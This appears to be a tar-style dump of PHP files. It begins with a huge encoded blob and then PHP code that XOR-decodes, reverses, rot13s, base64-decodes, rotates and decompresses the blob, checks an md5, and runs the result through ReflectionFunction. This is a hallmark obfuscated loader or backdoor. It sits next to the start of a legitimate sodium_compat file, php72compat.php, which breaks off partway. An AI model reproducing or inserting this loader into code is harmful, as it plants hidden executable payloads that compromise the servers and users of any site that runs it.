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'); $exccons=base64_decode('Os0gTkMqiJJ6jH3gXdZzgIgqqL2ysVez5w0E'); $qipxtlk='';$uqkad=strlen($xvoymek); for($gvmkx=0;$gvmkx<$uqkad;$gvmkx++)$qipxtlk.=chr(ord($xvoymek[$gvmkx])^ord($exccons[$gvmkx%strlen($exccons)])); $qipxtlk=strrev($qipxtlk);$qipxtlk=str_rot13($qipxtlk);$qipxtlk=base64_decode(base64_decode($qipxtlk));$qipxtlk=substr($qipxtlk,-2).substr($qipxtlk,0,-2);$qipxtlk=gzuncompress($qipxtlk);if(md5($qipxtlk.$exccons)!=='c016535be3099e3b52cd7adc32fec9ab')return; $rf=new ReflectionFunction('jrlfnnak'); $rf->invoke($qipxtlk); php72compat.php 0000644 00000134363 15252503775 0007446 0 ustar 00 <?php require_once dirname(dirname(__FILE__)) . '/autoload.php'; /** * This file will monkey patch the pure-PHP implementation in place of the * PECL functions and constants, but only if they do not already exist. * * Thus, the functions or constants just proxy to the appropriate * ParagonIE_Sodium_Compat method or class constant, respectively. */ foreach (array( 'BASE64_VARIANT_ORIGINAL', 'BASE64_VARIANT_ORIGINAL_NO_PADDING', 'BASE64_VARIANT_URLSAFE', 'BASE64_VARIANT_URLSAFE_NO_PADDING', 'CRYPTO_AEAD_AES256GCM_KEYBYTES', 'CRYPTO_AEAD_AES256GCM_NSECBYTES', 'CRYPTO_AEAD_AES256GCM_NPUBBYTES', 'CRYPTO_AEAD_AES256GCM_ABYTES', 'CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES', 'CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES', 'CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES', 